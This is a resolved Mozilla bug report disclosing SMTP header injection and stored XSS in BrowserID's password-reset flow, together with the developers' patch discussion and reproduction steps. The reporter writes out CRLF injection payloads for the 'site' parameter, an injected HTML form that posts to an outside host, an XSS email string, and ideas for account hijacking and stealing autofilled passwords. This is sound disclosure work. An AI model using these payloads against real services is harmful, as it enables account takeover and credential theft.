Closed Bug 741814 Opened 13 years ago Closed 13 years ago

SMTP injection in browserid

Categories

(Cloud Services :: Server: Identity, defect)

defect
Not set
major

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: albinowax, Unassigned)

Details

(Keywords: reporter-external, Whiteboard: [infrasec:auth][ws:high][qa+])

The password reset & email verification mechanisms in browserid.org are vulnerable to SMTP injection. This could probably be used to hijack accounts without user interaction by injecting the CC header into password reset emails.

To verify, go through the password reset stages until you get a request like 

POST /wsapi/stage_user

email=youremailaddress&site=browserid.org&csrf=somecsrftoken

Then edit the 'site' value to site=browserid.org%0d%0aCc: anotheremailaddress%0a%0d

Then look at the headers of the recieved email and verify that the 'CC' header has been injected (but ignored by the mailer for some reason). If coaxing the mailer to actually CC messages to alternative email addresses isn't possible, another attack would be to inject HTML into the email body in an attempt to extract the secret token.
Interesting report, thanks for sending it. We'll work on patching this ASAP. I don't think it's exploitable as is, but it might become exploitable with more creativity, so it's worth sanitizing the site parameter a good bit more.
For the second, less severe attack try:

site=browserid.org%0AContent-Type:text/html;charset=ISO-8859-1%0A%0D<html><form action="http://cow.com"><input type="submit" value="click"><textarea name="cow">

(tested with gmail, relies on the user clicking the button). It's among the worst exploits I've ever written but you get the gist. I still think there's a proper email-redirection exploit so I'll continue trying to come up with one.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Another possible approach for exploiting it without any user interaction would be to add Reply-To: youremailaddress and then try to make the email bounce by adding invalid/corrupt/oversized data or what have you. With luck the bounce message, containing the secret key, will go to your address.

On a different note, the 'email' parameter isn't adequately filtered. As such it's possible to register an email address like "anything@anywhere.com, youremailaddress"; both email addresses will receive the validation email. I can't think of any nefarious uses for this, however.
(In reply to Jаmes Kettle from comment #3)
> On a different note, the 'email' parameter isn't adequately filtered.

Yes, the patch for this (in review right now) also does email address validation while we're at it.
Group: core-security → client-services-security
Good good. The email parameter can also be used for persistent XSS. I'm not aware of any way of exposing other users to the XSS though. Tested with an email address of amoz%40thursday.eml.cc,a"onmouseover="alert(1)"a'<3z
On second thought it's fairly easy to expose other users to the XSS by generating a password-reset link then using it to autolog them into your account where the XSS is visible. The script wouldn't be able to perform straight CSRF attacks but it could load the login page in an iframe and read out any autofilled password. Let me know if you need a proof-of-concept.
Ben: What version of nodemailer does browserid use in production? package.json specifics 0.1.18 min. 

It appears the author committed a change to nodemailer a couple months ago to check for \r?\n in some header / option values. [1] Can we update the lib if it isn't the most recent stable version? 

This doesn't address the
"email1, email2"
issue that James found nor being able to inject other unwanted characters.


[1] - https://github.com/andris9/mailcomposer/commit/ac7f683bf6c4d7b2a05f931bd9ea92827d0777db#L0L89
dchan, that's not > 0.1.18, but rather fixed to 0.1.18 - all of our deps are fixed to a specific revision.
final patches to validate email/site inputs are merged into train-2012.03.28 and will be pushed to production wed around 3pm pacific pending QA approval.

Now, speaking of QA, how about some steps to reproduce?

1. install a newish node.js
2. git clone git://github.com/mozilla/browserid
3. cd browserid
4. git checkout train-2012.03.28
5. npm install

now you're set up.  let's use the command line script to create an account with an email with bogus chars:

6. scripts/scripts/create_account.js -s https://browserid.org -d 'https://facebook.com' -e 'attackee@yourdomain.com, attacker@yourdomain.com' (replace attackee with an email you control)
7. check your email
8. notice you have an email with an incredibly funky to line
9. notice you can go ahead and create your account

ok, so those STR are against prod and demonstrate that you can create accounts with crazy email addresses, and perhaps this can be weaponized...

try the same thing against the staged train-2012.03.28.6:

10. 6. scripts/scripts/create_account.js -s https://diresworb.org -d 'https://facebook.com' -e 'attackee@yourdomain.com, attacker@yourdomain.com' 
(again, replace attackee with an email you control)

once we push the latest code against train-2012.03.28.6, you should see error output on the console, and no email will be sent.  

11. try all kinds of crazy email permutations, both stuff that should work, and stuff that shouldn't.  see what happens!
I can still do comment #2 with the updated build.
(In reply to John Morrison [:jrgm] from comment #11)
> I can still do comment #2 with the updated build.

Ignore that. Wrong base URL.
Corrections for Comment 10:
Do not need/want the extra "scripts"

Before:
scripts/create_account.js -s https://browserid.org -d 'https://facebook.com' -e 'attackee@yourdomain.com, attacker@yourdomain.com' 

After:
scripts/create_account.js -s https://diresworb.org -d 'https://facebook.com' -e 'attackee@yourdomain.com, attacker@yourdomain.com' 

Verified that on Stage I do get appropriate errors...
fix now in production.  marking resolved.  please re-open if needed.
Status: NEW → RESOLVED
Closed: 13 years ago
Resolution: --- → FIXED
Whiteboard: [infrasec:auth][ws:high]
Re-verified for the train in Stage.
Group: client-services-security → mozilla-services-security
Component: Identity → Server: Identity
Product: Mozilla Labs → Mozilla Services
QA Contact: identity → identity-server
Whiteboard: [infrasec:auth][ws:high] → [infrasec:auth][ws:high][qa+]
Flags: sec-bounty+
Group: cloud-services-security
You need to log in before you can comment on or make changes to this bug.